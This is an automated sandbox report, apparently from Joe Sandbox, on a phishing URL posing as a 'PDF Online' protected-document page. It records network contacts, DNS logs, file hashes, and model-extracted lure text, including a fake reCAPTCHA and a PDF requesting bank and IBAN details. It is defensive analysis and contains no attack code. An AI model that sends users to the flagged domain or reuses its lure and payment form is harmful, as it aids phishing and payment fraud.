https://search.google.com/local/reviews?placeid=ChIJ1zHpqo1pXz4Rj5vQ0N8i31A	chromecache_900.2.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
104.26.13.141	pdf-online.on-fleek.app	United States	13335	CLOUDFLARENETUS	true
142.250.184.226	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.184.228	unknown	United States	15169	GOOGLEUS	false
173.231.215.118	citydiamondcontracting.com	United States	54641	INMOTI-1US	false
142.250.184.196	unknown	United States	15169	GOOGLEUS	false
216.239.32.181	analytics-alv.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.23.100	unknown	United States	15169	GOOGLEUS	false
172.217.16.193	photos-ugc.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.217.16.198	static.doubleclick.net	United States	15169	GOOGLEUS	false
74.125.133.156	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
172.217.18.14	play.google.com	United States	15169	GOOGLEUS	false
216.58.206.78	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
216.58.206.36	unknown	United States	15169	GOOGLEUS	false
142.250.185.246	i.ytimg.com	United States	15169	GOOGLEUS	false
142.250.185.162	td.doubleclick.net	United States	15169	GOOGLEUS	false
142.250.186.132	unknown	United States	15169	GOOGLEUS	false
142.250.184.206	unknown	United States	15169	GOOGLEUS	false
142.250.186.134	unknown	United States	15169	GOOGLEUS	false
173.231.208.7	tomsher.com	United States	54641	INMOTI-1US	false
216.58.206.68	unknown	United States	15169	GOOGLEUS	false
172.217.16.132	www.google.com	United States	15169	GOOGLEUS	false
142.250.185.97	unknown	United States	15169	GOOGLEUS	false
142.250.185.98	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520326
Start date and time:	2024-09-27 08:16:58 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://pdf-online.on-fleek.app/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@80/1271@68/31
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found PDF document Browse: https://www.citydiamondcontracting.com/about Browse: https://www.citydiamondcontracting.com/certifications Browse: https://www.citydiamondcontracting.com/projects Browse: https://www.citydiamondcontracting.com/news Browse: https://www.citydiamondcontracting.com/services Browse: https://www.citydiamondcontracting.com/video Close Viewer Browse: https://tomsher.com/ Browse: https://www.citydiamondcontracting.com/contact#sec1 Browse: https://www.citydiamondcontracting.com/clients

Input	Output
URL: https://pdf-online.on-fleek.app/ Model: jbxai	{ "brand":["PDF Online"], "contains_trigger_text":true, "trigger_text":"This is a protected document, please verify to access", "prominent_button_name":"unknown", "text_input_field_labels":["unknown"], "pdf_icon_visible":true, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pdf-online.on-fleek.app/ Model: jbxai	{ "brand":["PDF Online"], "contains_trigger_text":true, "trigger_text":"This is a protected document, please verify to access", "prominent_button_name":"unknown", "text_input_field_labels":["I'm not a robot"], "pdf_icon_visible":true, "has_visible_captcha":true, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pdf-online.on-fleek.app/ Model: jbxai	{ "brand":["reCAPTCHA"], "contains_trigger_text":true, "trigger_text":"this is a protected document, please verify to access", "prominent_button_name":"i'm not a robot", "text_input_field_labels":["reCAPTCHA"], "pdf_icon_visible":false, "has_visible_captcha":true, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/contact Model: jbxai	{ "brand":["City Diamond Contracting LLC"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Let's Discuss", "text_input_field_labels":["Contact Details", "Our Office", "Working Hours"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: file:///C:/Users/user/Downloads/downloaded.pdf Model: jbxai	{ "brand":["faham doors"], "contains_trigger_text":true, "trigger_text":"click here to view document", "prominent_button_name":"unknown", "text_input_field_labels":["bank name", "account name", "account no", "iban no", "swift code", "amount to be paid", "total due", "buyer", "seller"], "pdf_icon_visible":true, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pdf-online.on-fleek.app/ Model: jbxai	{ "phishing_score":9, "brands":"reCAPTCHA", "legit_domain":"recaptcha.net", "classification":"wellknown", "reasons":["The brand 'reCAPTCHA' is well-known and is associated with Google.", "The legitimate domain for reCAPTCHA is 'recaptcha.net' or 'google.com/recaptcha'.", "The provided URL 'pdf-online.on-fleek.app' does not match the legitimate domain for reCAPTCHA.", "The URL contains suspicious elements such as 'on-fleek.app', which is not associated with reCAPTCHA.", "The use of 'pdf-online' in the URL is unrelated to reCAPTCHA and raises suspicion."], "brand_matches":[false], "url_match":false, "brand_input":"reCAPTCHA", "input_fields":"reCAPTCHA"}

URL: https://www.citydiamondcontracting.com/about Model: jbxai	{ "brand":["City Diamond Contracting LLC"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Let's Discuss", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/certifications Model: jbxai	{ "brand":["City Diamond Contracting LLC"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Let's Discuss", "text_input_field_labels":["scroll down"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/projects Model: jbxai	{ "brand":["City Diamond"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Let's Discuss", "text_input_field_labels":["Filter: All Projects", "Filter: Industrial", "Filter: Educational", "Filter: Commercial", "Filter: Residential", "Filter: Villas"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/news Model: jbxai	{ "brand":["City Diamond Contracting LLC"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Let's Discuss", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/services Model: jbxai	{ "brand":["city diamond contracting llc"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"let's discuss", "text_input_field_labels":["services", "our main services are"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/video Model: jbxai	{ "brand":["city diamond"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":["copy link"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/video Model: jbxai	{ "brand":["City Diamond Contracting"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/video Model: jbxai	{ "brand":["City Diamond Contracting"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":["unknown"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/contact#sec1 Model: jbxai	{ "brand":["City Diamond Contracting LLC"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":["Name", "E-mail", "Phone"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/contact#sec1 Model: jbxai	{ "brand":["City Diamond Contracting LLC"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":["Name", "E-mail", "Phone"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/contact#sec1 Model: jbxai	{ "phishing_score":2, "brands":"City Diamond Contracting LLC", "legit_domain":"citydiamondcontracting.com", "classification":"unknown", "reasons":["The brand 'City Diamond Contracting LLC' is not widely recognized and falls under the 'unknown' category.", "The URL 'www.citydiamondcontracting.com' matches the brand name without any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The URL does not contain any extra words or hyphens that would typically indicate a phishing attempt.", "The input fields (Name, E-mail, Phone) are standard and do not raise immediate red flags."], "brand_matches":[true], "url_match":true, "brand_input":"City Diamond Contracting LLC", "input_fields":"Name, E-mail, Phone"}

URL: https://www.citydiamondcontracting.com/contact#sec1 Model: jbxai	{ "brand":["City Diamond Contracting LLC"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":["Name", "E-mail", "Phone"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/clients Model: jbxai	{ "brand":["amazon"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"unknown", "text_input_field_labels":["en bi si si"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://www.citydiamondcontracting.com/contact#sec1 Model: jbxai	{ "phishing_score":2, "brands":"City Diamond Contracting LLC", "legit_domain":"citydiamondcontracting.com", "classification":"unknown", "reasons":["The brand 'City Diamond Contracting LLC' is not widely recognized and falls under the 'unknown' category.", "The URL 'www.citydiamondcontracting.com' matches the brand name without any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The URL does not contain any extra words or hyphens that would indicate a partial match or suspicious activity.", "The input fields (Name, E-mail, Phone) are typical for a legitimate business website and do not raise immediate red flags."], "brand_matches":[true], "url_match":true, "brand_input":"City Diamond Contracting LLC", "input_fields":"Name, E-mail, Phone"}

URL: https://www.citydiamondcontracting.com/clients Model: jbxai	{ "brand":["amazon", "emirates", "lufthansa", "mini"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"let's discuss", "text_input_field_labels":["scroll down"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.210000048228099
Encrypted:	false
SSDEEP:	6:PE9ldbjyq2Pwkn2nKuAl9OmbnIFUt82E9lbB1Zmw+2E9loZRkwOwkn2nKuAl9Omt:PEb8vYfHAahFUt82EbbB1/+2Ebm5JfHi
MD5:	920DBDD1D4D5A7A4B0593329A86433FF
SHA1:	ED877E1B0D30765C531437761DD82C195C0D88F1
SHA-256:	6D0C545BC9C8EFD4C7898F2AF553D415705E203E597E77D5AD9B30442A6FF231
SHA-512:	D451EA96A2A5C443A9948175EF746085C81B04C75414CE6BFF68316EA1EF4411605ED0611CF610DFBD43438B454233995F657381EB5250EB7F85536A67D1ECD2
Malicious:	false
Reputation:	low
Preview:	2024/09/27-02:19:14.393 1430 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/09/27-02:19:14.395 1430 Recovering log #3.2024/09/27-02:19:14.396 1430 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.7, 2 pages
Category:	dropped
Size (bytes):	175997
Entropy (8bit):	7.946401404754199
Encrypted:	false
SSDEEP:	3072:UwtehApG1vuy3MUlRJ3m7WlxrcnYI9bQhA/S36PO2a5IfLUvLNzlEnG:UwteiGNT3vJ3qGgYI9Na6PO2a5Ijsn
MD5:	50F23D4358F98A882771C1597B0891F6
SHA1:	225617E370E34C16989DB176D9EC024F6579A07F
SHA-256:	26811F9FCE71BD64E1F225E41B50187E0AFC43D497E1060A71A0C85760625019
SHA-512:	AA59B1C7CEEB3D05B38139B1E16378490424422D713C1C01A8AB7F93638CAB901F9BA726E304E5D5D62127AE85C19E81EE0A5FC5F1DCAB3FE391F329F4DCF659
Malicious:	false
Reputation:	low
Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 32 0 R/MarkInfo<</Marked true>>/Metadata 133 0 R/ViewerPreferences 134 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 2/Kids[ 3 0 R 27 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 11 0 R/F4 13 0 R/F5 18 0 R/F6 22 0 R/F7 24 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/XObject<</Image15 15 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 17 0 R 20 0 R 21 0 R 26 0 R] /MediaBox[ 0 0 595.32 841.92] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 2964>>..stream..x....n.8.=@......]R1.ln.t0M3...A1Xx.'5...../...s..DJr,c..%.#....z\|....7...O.'......\|:.,..:.\|..._M...f.\._?....~.Mog...&..g........8...h..... .....?.........5'....... 4#.D.2.H.GT.2y..7..._..........S@...........)0..K..wt2.Q.....N..B.\.G.......P..l.24...G2.....?^..u..k..@......5t?^]...a....yQIL../..N...J....:n

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 08:17:56.659429073 CEST	192.168.2.4	1.1.1.1	0x57e2	Standard query (0)	pdf-online.on-fleek.app	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:56.659604073 CEST	192.168.2.4	1.1.1.1	0xca7a	Standard query (0)	pdf-online.on-fleek.app	65	IN (0x0001)	false
Sep 27, 2024 08:17:57.336091042 CEST	192.168.2.4	1.1.1.1	0xa4bc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:57.336232901 CEST	192.168.2.4	1.1.1.1	0x81b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:17:58.399971008 CEST	192.168.2.4	1.1.1.1	0x883f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:58.400125980 CEST	192.168.2.4	1.1.1.1	0x3bed	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:17:58.407305956 CEST	192.168.2.4	1.1.1.1	0x5e37	Standard query (0)	pdf-online.on-fleek.app	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:58.407630920 CEST	192.168.2.4	1.1.1.1	0x9a06	Standard query (0)	pdf-online.on-fleek.app	65	IN (0x0001)	false
Sep 27, 2024 08:17:58.597735882 CEST	192.168.2.4	1.1.1.1	0xbcf8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:58.677615881 CEST	192.168.2.4	1.1.1.1	0x42ac	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:18:01.335587978 CEST	192.168.2.4	1.1.1.1	0x8a94	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:01.373382092 CEST	192.168.2.4	1.1.1.1	0x99ab	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:18:11.181842089 CEST	192.168.2.4	1.1.1.1	0x581c	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:11.181984901 CEST	192.168.2.4	1.1.1.1	0x98e2	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Sep 27, 2024 08:19:20.153331041 CEST	192.168.2.4	1.1.1.1	0xeea0	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:26.828964949 CEST	192.168.2.4	1.1.1.1	0x34eb	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:40.752759933 CEST	192.168.2.4	1.1.1.1	0x69db	Standard query (0)	www.citydiamondcontracting.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:40.753025055 CEST	192.168.2.4	1.1.1.1	0xd0f6	Standard query (0)	www.citydiamondcontracting.com	65	IN (0x0001)	false
Sep 27, 2024 08:19:41.857197046 CEST	192.168.2.4	1.1.1.1	0x49fa	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:41.857784033 CEST	192.168.2.4	1.1.1.1	0xa937	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 27, 2024 08:19:43.620009899 CEST	192.168.2.4	1.1.1.1	0x276b	Standard query (0)	www.citydiamondcontracting.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:43.620352983 CEST	192.168.2.4	1.1.1.1	0x2596	Standard query (0)	www.citydiamondcontracting.com	65	IN (0x0001)	false
Sep 27, 2024 08:19:44.792433977 CEST	192.168.2.4	1.1.1.1	0x2cb2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:44.792968988 CEST	192.168.2.4	1.1.1.1	0xcab6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:19:44.919598103 CEST	192.168.2.4	1.1.1.1	0x51b1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:44.919842005 CEST	192.168.2.4	1.1.1.1	0xc60d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:20:37.031311035 CEST	192.168.2.4	1.1.1.1	0xc0c8	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.031522989 CEST	192.168.2.4	1.1.1.1	0x1ad5	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Sep 27, 2024 08:20:38.388184071 CEST	192.168.2.4	1.1.1.1	0x885d	Standard query (0)	i.ytimg.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.390073061 CEST	192.168.2.4	1.1.1.1	0xcae7	Standard query (0)	i.ytimg.com	65	IN (0x0001)	false
Sep 27, 2024 08:20:44.058281898 CEST	192.168.2.4	1.1.1.1	0xc173	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.058701992 CEST	192.168.2.4	1.1.1.1	0x44bd	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 08:20:44.061899900 CEST	192.168.2.4	1.1.1.1	0x5ff	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.062300920 CEST	192.168.2.4	1.1.1.1	0x7b93	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Sep 27, 2024 08:20:44.063697100 CEST	192.168.2.4	1.1.1.1	0xdd06	Standard query (0)	static.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.064558029 CEST	192.168.2.4	1.1.1.1	0xff1c	Standard query (0)	static.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 08:20:44.069195032 CEST	192.168.2.4	1.1.1.1	0xea82	Standard query (0)	yt3.ggpht.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069962978 CEST	192.168.2.4	1.1.1.1	0xeb0c	Standard query (0)	yt3.ggpht.com	65	IN (0x0001)	false
Sep 27, 2024 08:20:50.367803097 CEST	192.168.2.4	1.1.1.1	0x9b41	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:50.367981911 CEST	192.168.2.4	1.1.1.1	0x5eb1	Standard query (0)	play.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:20:56.964296103 CEST	192.168.2.4	1.1.1.1	0x6330	Standard query (0)	i.ytimg.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.964751005 CEST	192.168.2.4	1.1.1.1	0x43fd	Standard query (0)	i.ytimg.com	65	IN (0x0001)	false
Sep 27, 2024 08:20:56.967463017 CEST	192.168.2.4	1.1.1.1	0x6c34	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.967922926 CEST	192.168.2.4	1.1.1.1	0x7ab	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:20:56.975626945 CEST	192.168.2.4	1.1.1.1	0x8544	Standard query (0)	static.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.975925922 CEST	192.168.2.4	1.1.1.1	0xbdfa	Standard query (0)	static.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 08:20:56.979502916 CEST	192.168.2.4	1.1.1.1	0x75b9	Standard query (0)	yt3.ggpht.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.979783058 CEST	192.168.2.4	1.1.1.1	0xa318	Standard query (0)	yt3.ggpht.com	65	IN (0x0001)	false
Sep 27, 2024 08:20:57.114695072 CEST	192.168.2.4	1.1.1.1	0xb214	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:57.115029097 CEST	192.168.2.4	1.1.1.1	0x9d51	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 08:20:57.120594978 CEST	192.168.2.4	1.1.1.1	0x3134	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:57.120894909 CEST	192.168.2.4	1.1.1.1	0x5bdb	Standard query (0)	play.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:21:10.478130102 CEST	192.168.2.4	1.1.1.1	0xeaa3	Standard query (0)	tomsher.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:10.490329981 CEST	192.168.2.4	1.1.1.1	0x9da8	Standard query (0)	tomsher.com	65	IN (0x0001)	false
Sep 27, 2024 08:21:11.994828939 CEST	192.168.2.4	1.1.1.1	0x6f54	Standard query (0)	www.tomsher.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:11.995337009 CEST	192.168.2.4	1.1.1.1	0x4d2e	Standard query (0)	www.tomsher.com	65	IN (0x0001)	false
Sep 27, 2024 08:21:13.573074102 CEST	192.168.2.4	1.1.1.1	0x833c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:13.573220968 CEST	192.168.2.4	1.1.1.1	0x23c4	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 27, 2024 08:21:21.010020018 CEST	192.168.2.4	1.1.1.1	0xa8d8	Standard query (0)	www.tomsher.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:21.010199070 CEST	192.168.2.4	1.1.1.1	0x61b1	Standard query (0)	www.tomsher.com	65	IN (0x0001)	false
Sep 27, 2024 08:21:33.747596979 CEST	192.168.2.4	1.1.1.1	0x1c38	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:33.747910976 CEST	192.168.2.4	1.1.1.1	0x3ff3	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:21:33.770838022 CEST	192.168.2.4	1.1.1.1	0xc04c	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:33.770989895 CEST	192.168.2.4	1.1.1.1	0x2a46	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 08:21:42.028296947 CEST	192.168.2.4	1.1.1.1	0xf6af	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:42.028656960 CEST	192.168.2.4	1.1.1.1	0xf00c	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Sep 27, 2024 08:21:47.226363897 CEST	192.168.2.4	1.1.1.1	0xc901	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:47.226728916 CEST	192.168.2.4	1.1.1.1	0xc0be	Standard query (0)	www.google.com	65	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 08:17:56.669751883 CEST	1.1.1.1	192.168.2.4	0x57e2	No error (0)	pdf-online.on-fleek.app		104.26.13.141	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:56.669751883 CEST	1.1.1.1	192.168.2.4	0x57e2	No error (0)	pdf-online.on-fleek.app		104.26.12.141	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:56.669751883 CEST	1.1.1.1	192.168.2.4	0x57e2	No error (0)	pdf-online.on-fleek.app		172.67.73.189	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:56.670605898 CEST	1.1.1.1	192.168.2.4	0xca7a	No error (0)	pdf-online.on-fleek.app			65	IN (0x0001)	false
Sep 27, 2024 08:17:57.342770100 CEST	1.1.1.1	192.168.2.4	0x81b	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 27, 2024 08:17:57.342784882 CEST	1.1.1.1	192.168.2.4	0xa4bc	No error (0)	www.google.com		172.217.16.132	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:58.406836987 CEST	1.1.1.1	192.168.2.4	0x3bed	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 27, 2024 08:17:58.407073021 CEST	1.1.1.1	192.168.2.4	0x883f	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:58.417433023 CEST	1.1.1.1	192.168.2.4	0x5e37	No error (0)	pdf-online.on-fleek.app		104.26.13.141	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:58.417433023 CEST	1.1.1.1	192.168.2.4	0x5e37	No error (0)	pdf-online.on-fleek.app		172.67.73.189	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:58.417433023 CEST	1.1.1.1	192.168.2.4	0x5e37	No error (0)	pdf-online.on-fleek.app		104.26.12.141	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:58.418596029 CEST	1.1.1.1	192.168.2.4	0x9a06	No error (0)	pdf-online.on-fleek.app			65	IN (0x0001)	false
Sep 27, 2024 08:17:58.604469061 CEST	1.1.1.1	192.168.2.4	0xbcf8	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:17:58.684875965 CEST	1.1.1.1	192.168.2.4	0x42ac	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 27, 2024 08:18:01.342195988 CEST	1.1.1.1	192.168.2.4	0x8a94	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:01.385507107 CEST	1.1.1.1	192.168.2.4	0x99ab	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 27, 2024 08:18:11.188770056 CEST	1.1.1.1	192.168.2.4	0x581c	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:20.201509953 CEST	1.1.1.1	192.168.2.4	0xeea0	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:20.201509953 CEST	1.1.1.1	192.168.2.4	0xeea0	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:26.835958004 CEST	1.1.1.1	192.168.2.4	0x34eb	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:19:40.787069082 CEST	1.1.1.1	192.168.2.4	0xd0f6	No error (0)	www.citydiamondcontracting.com	citydiamondcontracting.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:19:40.787326097 CEST	1.1.1.1	192.168.2.4	0x69db	No error (0)	www.citydiamondcontracting.com	citydiamondcontracting.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:19:40.787326097 CEST	1.1.1.1	192.168.2.4	0x69db	No error (0)	citydiamondcontracting.com		173.231.215.118	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:41.864090919 CEST	1.1.1.1	192.168.2.4	0x49fa	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:41.864090919 CEST	1.1.1.1	192.168.2.4	0x49fa	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
